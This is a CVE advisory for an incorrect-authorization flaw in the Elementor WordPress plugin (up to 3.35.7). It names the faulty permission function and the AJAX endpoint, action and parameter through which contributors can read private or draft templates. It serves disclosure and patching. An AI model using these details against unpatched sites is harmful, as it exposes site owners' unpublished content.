CVE-2026-1206

Published: 2026-03-26 06:16:09
Last Modified: 2026-04-24 16:35:20

Description

The Elementor Website Builder plugin for WordPress is vulnerable to Incorrect Authorization to Sensitive Information Exposure in all versions up to, and including, 3.35.7. This is due to a logic error in the is_allowed_to_read_template() function permission check that treats non-published templates as readable without verifying edit capabilities. This makes it possible for authenticated attackers, with contributor-level access and above, to read private or draft Elementor template content via the 'template_id' supplied to the 'get_template_data' action of the 'elementor_ajax' endpoint.
